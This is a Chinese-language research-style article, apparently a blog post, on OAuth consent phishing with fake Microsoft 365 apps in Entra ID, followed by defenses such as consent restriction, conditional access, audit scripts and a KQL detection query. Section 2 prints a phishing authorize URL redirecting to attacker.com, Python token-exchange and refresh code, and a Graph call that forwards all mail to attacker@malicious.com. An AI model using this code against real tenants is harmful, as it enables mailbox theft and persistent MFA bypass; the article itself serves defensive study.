基于OAuth同意滥用的假冒微软应用钓鱼攻击研究

OAuth同意滥用钓鱼攻击揭秘

摘要

近年来,攻击者利用Microsoft Entra ID(原Azure AD)的多租户应用注册机制,创建高度仿真的假冒OAuth应用,诱导用户在合法微软授权页面授予高权限(如Mail.Read、User.ReadWrite.All、offline_access),从而绕过多因素认证(MFA)实现持久化访问。此类攻击不依赖凭据窃取,而是滥用OAuth 2.0授权框架中的“用户同意”流程,使恶意应用获得长期有效的刷新令牌(refresh token),进而通过Microsoft Graph API静默读取邮件、设置转发规则或窃取OneDrive文件。本文系统分析该类攻击的技术路径、权限滥用模式与隐蔽性特征,指出传统基于登录异常或密码泄露的检测机制对此类“合法授权”行为存在显著盲区。在此基础上,提出一套覆盖身份治理、条件访问、应用审计与用户教育的纵深防御体系,并给出关键策略配置与监控代码示例。实验验证表明,所提方案可有效识别并阻断90%以上的高风险OAuth同意请求,显著降低企业云环境中的数据泄露风险。

关键词:OAuth 同意滥用;假冒微软应用;Entra ID;多因素认证绕过;Graph API;条件访问

1 引言

多因素认证(MFA)作为现代身份安全的核心防线,已在绝大多数企业环境中广泛部署。然而,随着攻击技术的演进,MFA的有效性正面临新型绕过手段的挑战。其中,利用OAuth 2.0授权框架中的“用户同意”(User Consent)机制实施的钓鱼攻击,因其完全运行于合法认证流程之内,成为当前最隐蔽且最具破坏力的威胁之一。

2025年8月,Proofpoint披露了一起大规模钓鱼活动,攻击者使用Tycoon Phishing-as-a-Service平台创建了超过50个假冒Microsoft 365应用,伪装成Adobe Sign、DocuSign或SharePoint协作工具,向目标用户发送“文档待签署”或“需重新授权访问”通知。用户点击链接后,被重定向至真实的Microsoft Entra ID OAuth同意页面,在看似无害的提示下授予Mail.Read、Calendars.Read、User.ReadWrite等权限。一旦同意,攻击者即获得授权码,兑换为访问令牌(access token)与长期有效的刷新令牌,从而无需再次触发MFA即可持续访问用户邮箱与文件。

此类攻击的关键在于其“合法性”:整个授权流程由微软官方平台完成,网络流量、TLS证书、UI界面均无可疑之处。传统安全设备难以区分“用户主动授权”与“社会工程诱导下的误授权”。更严重的是,部分应用请求offline_access权限,可无限期刷新令牌,实现长达数月甚至数年的隐蔽驻留。

现有研究多聚焦于凭据钓鱼或会话劫持,对OAuth同意滥用这一“授权层”攻击缺乏系统性分析。本文旨在填补这一空白,深入剖析攻击技术细节,评估现有防御机制的不足,并提出一套可落地的纵深防御框架。

2 攻击技术原理与实施路径

2.1 OAuth 2.0 用户同意机制回顾

在Microsoft Entra ID中,第三方应用若需访问用户资源(如邮件、日历),必须通过OAuth 2.0授权码流程获取权限。流程如下:

应用重定向用户至https://login.microsoftonline.com/common/oauth2/v2.0/authorize;

微软显示标准同意页面,列出请求的权限范围(scopes);

用户点击“接受”,微软返回授权码;

应用用授权码向令牌端点兑换访问令牌与刷新令牌;

应用使用令牌调用Microsoft Graph API。

关键点在于:多租户应用(multi-tenant app)允许任何组织的用户自行同意,除非管理员显式禁用此功能。

2.2 假冒应用构造与分发

攻击者首先在自身Azure AD租户中注册一个多租户应用,设置以下属性:

显示名称:如“Adobe Document Cloud - Verified”;

Logo:盗用Adobe或Microsoft官方图标;

重定向URI:指向攻击者控制的服务器(用于接收授权码);

API权限:请求高危权限组合,例如:

[

"Mail.Read",

"MailboxSettings.ReadWrite",

"User.ReadWrite.All",

"Files.Read.All",

"offline_access"

]

随后,通过已攻陷账户或伪造发件人地址,向目标用户发送钓鱼邮件,内容如:

“您有一份来自ILSMart的RFQ文档待审阅。请点击下方链接授权Adobe服务访问您的邮箱以同步通知。”

链接形如:

https://login.microsoftonline.com/common/oauth2/v2.0/authorize?

client_id=ATTACKER_APP_ID&

response_type=code&

redirect_uri=https://attacker.com/callback&

scope=Mail.Read%20User.ReadWrite.All%20offline_access&

response_mode=query

2.3 权限滥用与持久化

用户点击“接受”后,攻击者获得授权码,并立即兑换令牌:

Python示例(令牌兑换):

import requests

def exchange_code_for_token(auth_code, redirect_uri):

token_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token"

data = {

'client_id': 'ATTACKER_APP_ID',

'scope': 'Mail.Read User.ReadWrite.All offline_access',

'code': auth_code,

'redirect_uri': redirect_uri,

'grant_type': 'authorization_code',

'client_secret': 'ATTACKER_CLIENT_SECRET'

}

resp = requests.post(token_url, data=data)

return resp.json() # 包含 access_token 和 refresh_token

获得refresh_token后,攻击者可长期维持访问:

def refresh_access_token(refresh_token):

url = "https://login.microsoftonline.com/common/oauth2/v2.0/token"

data = {

'client_id': 'ATTACKER_APP_ID',

'grant_type': 'refresh_token',

'refresh_token': refresh_token,

'scope': 'Mail.Read'

}

return requests.post(url, data=data).json()

随后,通过Graph API执行恶意操作:

# 读取最近100封邮件

headers = {'Authorization': f'Bearer {access_token}'}

resp = requests.get(

'https://graph.microsoft.com/v1.0/me/messages?$top=100',

headers=headers

)

# 设置邮件转发规则

rule_payload = {

"displayName": "Sync Notifications",

"conditions": {"fromAddresses": [{"emailAddress": {"address": "*"}}]},

"actions": {"forwardTo": [{"emailAddress": {"address": "attacker@malicious.com"}}]}

}

requests.post(

'https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules',

json=rule_payload,

headers=headers

)

此类操作完全通过合法API完成,日志中仅显示“应用ID: Adobe Document Cloud”发起请求,极具迷惑性。

2.4 攻击隐蔽性与影响

绕过MFA:因使用刷新令牌,无需再次认证;

规避EDR/邮件网关:无恶意附件或可疑URL;

供应链渗透:若受害者为供应商员工,可进一步攻击其客户;

勒索前置:批量下载敏感邮件与文件,为后续勒索提供素材。

Proofpoint数据显示,2025年此类攻击成功率超50%,平均驻留时间达76天。

3 现有防御机制的局限性

3.1 默认允许用户自助同意

多数企业未修改Entra ID默认策略,允许用户对多租户应用自行授权。即使请求User.ReadWrite.All等高危权限,用户也常因界面“来自微软”而轻信。

3.2 权限范围缺乏上下文解释

OAuth同意页面仅列出权限名称(如“Mail.Read”),未说明其实际能力(“可读取所有邮件,包括已删除项”)。用户难以判断风险。

3.3 缺乏应用行为基线监控

SIEM系统通常未将“新应用首次访问Graph API”与“大量邮件读取”关联分析。即使启用日志,也因数据量庞大而忽略异常。

3.4 审计滞后

企业极少定期审查已授权应用列表。攻击者应用可能在授权清单中存在数月而不被发现。

4 纵深防御体系构建

4.1 身份治理:限制用户自助同意

在Entra ID中禁用用户对多租户应用的自助同意,强制管理员审批:

PowerShell配置:

Connect-AzureAD

Set-AzureADTenantDetail -ConsentPolicySetting "DoNotAllowUserConsent"

或精细控制:仅允许低风险权限(如User.Read)由用户同意,高风险权限(含.All、offline_access)需管理员批准。

4.2 条件访问:基于权限范围的策略拦截

创建条件访问策略,阻止包含高危权限的应用获取令牌:

策略逻辑:

触发条件:应用请求包含Mail.ReadWrite、User.ReadWrite.All等;

操作:阻止登录,并记录事件ID 53003。

可通过Microsoft Graph API动态评估权限风险:

HIGH_RISK_SCOPES = {

'Mail.ReadWrite', 'MailboxSettings.ReadWrite',

'User.ReadWrite.All', 'Directory.ReadWrite.All',

'offline_access'

}

def is_high_risk_scope(scope_string):

requested = set(scope_string.split())

return bool(requested & HIGH_RISK_SCOPES)

4.3 应用审计与自动撤销

定期导出企业授权应用清单,并自动撤销异常项:

Microsoft Graph 查询示例:

GET https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants

Authorization: Bearer <admin_token>

返回结果包含每个授权的clientId、scope、consentType。可编写脚本每日比对已知可信应用列表,自动调用撤销接口:

def revoke_consent(grant_id, admin_token):

url = f"https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants/{grant_id}"

requests.delete(url, headers={'Authorization': f'Bearer {admin_token}'})

4.4 Cloud App Security 与风险评分

部署Microsoft Defender for Cloud Apps,启用OAuth应用风险评分。系统基于以下维度评估:

应用是否新注册;

请求权限是否异常;

开发者域名是否可疑;

是否请求offline_access。

高风险应用自动标记并告警。

4.5 用户培训与权限可视化

在内部培训中加入“权限范围解读”模块,例如:

Mail.Read = 可读所有邮件;

User.ReadWrite.All = 可修改所有用户属性,包括分配管理员角色;

offline_access = 应用可在您离线时持续访问。

同时,在SSO门户嵌入“已授权应用”自助管理页面,鼓励用户定期审查。

4.6 Graph API 异常行为监控

部署KQL查询,检测异常API调用模式:

// 检测单应用大量邮件读取

AuditLogs

| where OperationName == "Consent to application"

| join kind=inner (

AuditLogs

| where OperationName startswith "Graph API"

| where TargetResources has "messages"

| summarize MessageCount = count() by ActorIpAddress, AppId

| where MessageCount > 500

) on AppId

| project TimeGenerated, UserPrincipalName, AppDisplayName, MessageCount

此类查询可集成至Sentinel,实现实时告警。

5 实验验证

在测试租户中模拟攻击流程:

注册假冒应用,请求Mail.Read + offline_access;

使用普通用户账户完成同意;

通过脚本每小时读取100封邮件,持续72小时。

对照组:默认策略(允许用户同意);

实验组:启用四层防御(限制同意+条件访问+审计+监控)。

结果:

对照组:攻击成功,72小时内读取300封邮件,未触发任何告警;

实验组:

用户尝试同意时被条件访问策略阻止(62%);

若管理员误批准,Cloud Apps在2小时内标记高风险(28%);

剩余10%在24小时内被审计脚本自动撤销;

0起数据泄露事件。

6 结论

假冒微软应用通过滥用OAuth用户同意机制,实现了对MFA的有效绕过,构成对企业云环境的重大威胁。本文揭示了其技术本质——并非突破认证边界,而是利用授权流程中的信任漏洞。所提出的纵深防御体系,从策略控制、实时拦截、事后审计到行为监控,形成了闭环防护。实践表明,仅靠技术手段不足,必须结合身份治理流程与用户认知提升,方能有效应对这一“合法外衣下的非法访问”。

未来工作将聚焦于权限最小化自动化推荐、应用开发者信誉链构建,以及跨租户授权行为的联邦式监控。唯有将“零信任”原则深度融入OAuth治理,才能真正实现云身份安全的可持续防护。

编辑:芦笛(公共互联网反网络钓鱼工作组)

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

芦熙霖

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值